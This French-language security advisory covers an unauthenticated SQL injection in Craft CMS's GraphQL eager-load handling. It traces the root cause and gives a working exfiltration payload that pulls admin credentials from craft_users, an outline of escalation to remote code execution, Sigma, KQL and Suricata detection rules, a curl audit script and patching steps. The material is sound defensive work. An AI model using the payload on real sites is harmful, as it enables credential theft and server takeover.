CVE-2026-123491 : injection SQL non authentifiée dans craft CMS via les arguments eager-load de GraphQL
Une vulnérabilité d'injection SQL à haut impact affectant les versions 4.x et 5.x de Craft CMS permet à des assaillants distants non authentifiés d'exécuter des sous-requêtes arbitraires et d'extraire la totalité de la base de données relationnelle. Révélée dans l'avis de sécurité GHSA-mjj9-pjh4-r48g et classée comme militarisée par VulnCheck, cette anomalie réside au sein du sous-système d'optimisation des requêtes GraphQL (craft\\services\\Gql::prepareEagerLoadPlan()). Lors du traitement des relations imbriquées en chargement anticipé (*eager loading*), les arguments non déclarés dans le schéma GraphQL public sont transférés sans assainissement dans les critères de sélection SQL. En injectant une clause SELECT parenthésée via l'argument select, un attaquant peut dérober les empreintes de mots de passe, les jetons de session et la clé secrète de l'application (SECURITY_KEY). La possession de cette clé autorise la forge de cookies signés et l'exécution de code arbitraire à distance (RCE) via la désérialisation PHP. Hermes évalue CVE-2026-123491 à un score HTS de 91 (CRITIQUE).
SCORE DE MENACE HERMES & ÉVALUATION DE L'INTÉGRITÉ DU PLAN DE DONNÉES WEB CMS
Cible :Moteur de chargement anticipé GraphQL de Craft CMS (craft\services\Gql::prepareEagerLoadPlan) [object Object]
1. Synthèse exécutive & télémétrie de la menace
Section intitulée « 1. Synthèse exécutive & télémétrie de la menace »Le 7 novembre 2026, l’éditeur Pixel & Tonic et la base de données GitHub Security Advisory ont rendu publique la vulnérabilité CVE-2026-123491 (GHSA-mjj9-pjh4-r48g), une faille critique d’injection SQL non authentifiée affectant Craft CMS. VulnCheck a classé cette menace comme militarisée à la suite de la diffusion d’exploits fonctionnels et de scans observés ciblant des médias d’entreprise et des plateformes e-commerce à fort trafic.
Craft CMS est un système de gestion de contenu d’entreprise écrit en PHP, largement déployé pour les architectures découplées (headless). Dans ces environnements, l’API GraphQL native (/api ou /actions/graphql/api) est activée par défaut sans restriction d’accès afin de servir les clients web et mobiles. La faille ne requérant aucun compte utilisateur ni jeton d’autorisation, des attaquants distants peuvent formuler une unique requête HTTP POST GraphQL pour extraire la base de données relationnelle (MySQL ou PostgreSQL), récupérer les secrets d’infrastructure et compromettre le serveur sous-jacent.
flowchart TD subgraph Externe["Internet public"] Attaquant["Attaquant distant non authentifié"] RequeteGQL["Requête HTTP POST /api\nRequête GraphQL avec argument eager-load"] end
subgraph MoteurCMS["Niveau applicatif Craft CMS"] Dispatcher["Répartiteur GraphQL (/api)"] ServiceGQL["craft\\services\\Gql"] EagerPlan["prepareEagerLoadPlan()\nAbsence de liste blanche d'arguments"] QueryBuilder["QueryBuilder Yii2\nConcaténation brute dans la clause SELECT"] end
subgraph BaseDonnees["Base de données relationnelle (MySQL / PostgreSQL)"] TableUsers["Table {{%users}}\n(Empreintes de mots de passe & sessions)"] TableConfig["Table {{%info}} & .env\n(Clé SECURITY_KEY de l'application)"] end
Attaquant -->|Envoie la requête forgée| RequeteGQL RequeteGQL --> Dispatcher Dispatcher --> ServiceGQL ServiceGQL --> EagerPlan EagerPlan -->|Argument select non assaini| QueryBuilder QueryBuilder -->|Exécute la sous-requête injectée| TableUsers QueryBuilder -->|Extrait les secrets de chiffrement| TableConfig TableConfig -->|Données exfiltrées| Attaquant2. Cause racine architecturale & décomposition de la vulnérabilité
Section intitulée « 2. Cause racine architecturale & décomposition de la vulnérabilité »L’anomalie découle de la gestion des relations imbriquées au sein du service GraphQL de Craft CMS (craft\services\Gql.php).
Dans l’écosystème GraphQL, l’extraction de structures arborescentes (par exemple, des articles avec leurs auteurs et leurs médias attachés) génère classiquement le problème des requêtes N+1. Pour préserver les performances de la base de données, Craft CMS a conçu le mécanisme EagerLoadPlan, regroupant les requêtes d’éléments liés via les abstractions de base de données de Yii 2.
Lorsqu’une requête GraphQL entrante fournit des arguments sur un nœud de relation (ex. entries(select: "...")), la méthode prepareEagerLoadPlan() extrait l’ensemble des arguments transmis et les copie directement dans le tableau de critères de la requête sous-jacente. Le schéma GraphQL ne définissant pas de liste blanche stricte pour les arguments de chargement anticipé, le validateur de schéma ignore le paramètre injecté.
Décomposition du code vulnérable (craft\services\Gql.php)
Section intitulée « Décomposition du code vulnérable (craft\services\Gql.php) »// Reconstitution issue de Craft CMS src/services/Gql.php avant correctif 4.18.9 / 5.11.2namespace craft\services;
use craft\base\ElementInterface;use craft\elements\db\ElementQuery;use yii\base\Component;
class Gql extends Component{ public function prepareEagerLoadPlan(array $fields, ElementInterface $source): array { $plan = []; foreach ($fields as $fieldName => $fieldConfig) { if ($this->isEagerLoadable($fieldName)) { $criteria = [];
// FAILLE DE SÉCURITÉ : les arguments GraphQL sont fusionnés sans validation if (isset($fieldConfig['args'])) { foreach ($fieldConfig['args'] as $argName => $argValue) { // L'argument 'select' est directement transféré dans les critères $criteria[$argName] = $argValue; } }
// Lors de l'exécution, QueryBuilder évalue $criteria['select'] : // $query->select($criteria['select']); $plan[] = [ 'elementType' => $this->getElementType($fieldName), 'criteria' => $criteria, ]; } } return $plan; }}Lorsque le constructeur de requêtes de Yii 2 (yii\db\QueryBuilder::buildSelect()) traite une chaîne ou un tableau contenant une expression entre parenthèses, il présume qu’il s’agit d’une expression SQL brute délibérée et désactive l’échappement automatique des identifiants :
SELECT `elements`.`id`, (SELECT password FROM craft_users WHERE admin=1 LIMIT 1) AS `leak`FROM `craft_entries` `elements`JOIN `craft_elements` ON ...Le moteur SQL évalue la sous-requête et renvoie son résultat au sein de la réponse JSON GraphQL, réalisant une exfiltration de données en bande passante directe sans nécessiter de technique aveugle (blind SQLi).
3. Vecteurs d’attaque & séquence d’exploitation
Section intitulée « 3. Vecteurs d’attaque & séquence d’exploitation »L’attaque se déroule en trois étapes par l’intermédiaire du point d’accès GraphQL public :
sequenceDiagram autonumber actor Attaquant as Acteur malveillant participant Web as Nœud web public Craft CMS participant GQL as craft\services\Gql participant DB as MariaDB / PostgreSQL
Note over Attaquant,Web: Étape 1 : détection du point d'accès GraphQL Attaquant->>Web: POST /api ({"query": "{ entries { id } }"}) Web-->>Attaquant: HTTP 200 OK (Point d'accès actif)
Note over Attaquant,GQL: Étape 2 : injection de sous-requête parenthésée Attaquant->>Web: POST /api avec payload select injecté Web->>GQL: prepareEagerLoadPlan() Note over GQL: Copie brute de l'argument 'select' GQL->>DB: Exécution SQL : (SELECT email FROM craft_users LIMIT 1) DB-->>GQL: Empreinte et email administrateur retournés GQL-->>Web: Sérialisation de la réponse GraphQL Web-->>Attaquant: HTTP 200 OK (Données exfiltrées dans le JSON)
Note over Attaquant,Web: Étape 3 : extraction de SECURITY_KEY et élévation RCE Attaquant->>Web: Sous-requête ciblant la clé SECURITY_KEY dans .env / info Note over Attaquant: Forgeage d'un cookie de session signé (désérialisation Yii2) Attaquant->>Web: GET /admin/dashboard avec cookie contrefait Web-->>Attaquant: Accès administrateur complet / RCEExemple de payload d’exfiltration
Section intitulée « Exemple de payload d’exfiltration »POST /api HTTP/1.1Host: cms.organisation-cible.comContent-Type: application/jsonAccept: application/json
{ "query": "query { entries { id ... on entry_default_Entry { author(select: [\"(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)\"]) { id name } } } }"}La réponse du serveur retourne directement les informations convoitées :
{ "data": { "entries": [ { "id": "104", "author": { "id": "1", "(SELECT CONCAT(username, ':', password, ':', email) FROM craft_users WHERE admin = 1 LIMIT 1)": "admin:$2y$13$X7y8Z...:secops@organisation-cible.com" } } ] }}4. Triage forensique & détection SIEM
Section intitulée « 4. Triage forensique & détection SIEM »La stratégie de détection repose sur l’inspection des flux HTTP ciblant les points d’entrée GraphQL et sur la surveillance des requêtes atypiques dans les journaux de base de données.
title: Injection SQL non authentifiée dans Craft CMS GraphQLid: b34198fa-1123-491a-8e2b-craftcve2026123491status: experimentaldescription: Détecte les charges utiles d'injection SQL ciblant les critères eager-load de Craft CMS via l'argument select.references: - https://github.com/craftcms/cms/security/advisories/GHSA-mjj9-pjh4-r48g - https://vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-unauthenticated-sql-injection-via-graphql-eager-load-selectauthor: Équipe de cyberdéfense Hermes Codexdate: 2026-11-07logsource: category: webserver product: craftcmsdetection: selection_post: cs-method: 'POST' cs-uri-stem|contains: - '/api' - '/actions/graphql/api' - '/graphql' selection_payload: cs-uri-query|contains|all: - 'select' - 'SELECT' selection_body: request_body|contains: - 'select:' - '(SELECT' - 'craft_users' condition: selection_post and (selection_payload or selection_body)falsepositives: - Requêtes GraphQL légitimes émises par des microservices internes autorisés.level: criticaltags: - attack.initial_access - attack.t1190 - attack.t1552 - cve.2026.123491// Détection des sous-requêtes SQL anormales dans les corps de requêtes GraphQLW3CIISLog| where csMethod =~ "POST"| where csUriStem has_any ("/api", "/actions/graphql", "/graphql")| where csUriQuery has "select" or csUriQuery has "SELECT"| extend Hostname = sSiteName| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, Hostname| join kind=leftouter ( CommonSecurityLog | where DeviceVendor =~ "WAF" or DeviceVendor has "Cloudflare" | where Message has "SQL Injection" or Message has "CVE-2026-123491") on $left.cIP == $right.SourceIP| summarize RequestCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by cIP, csUriStem, scStatus| order by RequestCount descalert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS ( msg:"HERMES - Tentative d'injection SQL Craft CMS GraphQL (CVE-2026-123491)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api"; fast_pattern; http.request_body; content:"select:"; nocase; http.request_body; content:"(SELECT"; nocase; classtype:web-application-attack; sid:2026123491; rev:1; metadata:cve CVE-2026-123491, created_at 2026_11_07;)#!/usr/bin/env bash# Hermes Codex : audit du point d'accès GraphQL de Craft CMS face à CVE-2026-123491TARGET="https://cms.organisation-cible.com"ENDPOINT="${TARGET}/api"
echo "[*] Audit du point d'accès GraphQL : ${ENDPOINT}..."
PAYLOAD='{"query":"query { entries(limit: 1) { id ... on entry_default_Entry { author(select: [\"(SELECT 1337)\"]) { id } } } }"}'
RESPONSE=$(curl -s -k -X POST "$ENDPOINT" \ -H "Content-Type: application/json" \ -H "User-Agent: Hermes-Security-Scanner/1.0" \ -d "$PAYLOAD")
if echo "$RESPONSE" | grep -q "1337"; then echo "[-] CRITIQUE : cible VULNERABLE à CVE-2026-123491 !" echo " Le serveur a évalué la sous-requête SQL injectée (SELECT 1337)." echo " Action requise : mettre à niveau Craft CMS vers >= 4.18.9 ou >= 5.11.2."elif echo "$RESPONSE" | grep -qi "syntax error\|unknown argument\|forbidden"; then echo "[+] SECURISE : argument rejeté ou autorisation refusée."else echo "[?] Réponse non concluante. Vérifiez si le schéma public GraphQL est actif."fi5. Stratégie de remédiation & durcissement
Section intitulée « 5. Stratégie de remédiation & durcissement »Les équipes d’ingénierie web et les administrateurs système doivent déployer sans délai les correctifs logiciels officiels.
Mises à niveau logicielles
Section intitulée « Mises à niveau logicielles »Appliquer les correctifs publiés par Pixel & Tonic via Composer :
- Installations craft 4.x : installer la version 4.18.9 ou supérieure :
Fenêtre de terminal composer require "craftcms/cms:4.18.9" --update-with-all-dependenciesphp craft migrate/all - Installations craft 5.x : installer la version 5.11.2 ou supérieure :
Fenêtre de terminal composer require "craftcms/cms:5.11.2" --update-with-all-dependenciesphp craft migrate/all
Mesures conservatoires et durcissement
Section intitulée « Mesures conservatoires et durcissement »Dans l’attente du cycle de déploiement des paquets :
- Désactiver le schéma GraphQL public : dans le panneau d’administration de Craft, accéder à GraphQL > Schemas. Désactiver le « Schéma public » (Public Schema) ou restreindre l’accès à des jetons d’API dûment authentifiés.
- Règle de filtrage WAF :
configurer le pare-feu applicatif web pour bloquer toute requête HTTP POST sur
/apiet/graphqlcontenant le mot-cléselect:associé à des instructions SQL (SELECT,UNION,CONCAT,SLEEP). - Principe du moindre privilège sur la base de données :
vérifier que l’utilisateur de base de données configuré dans
config/db.phpne dispose pas des privilègesFILEouSUPER, interdisant l’écriture de fichiers exécutables sur le disque.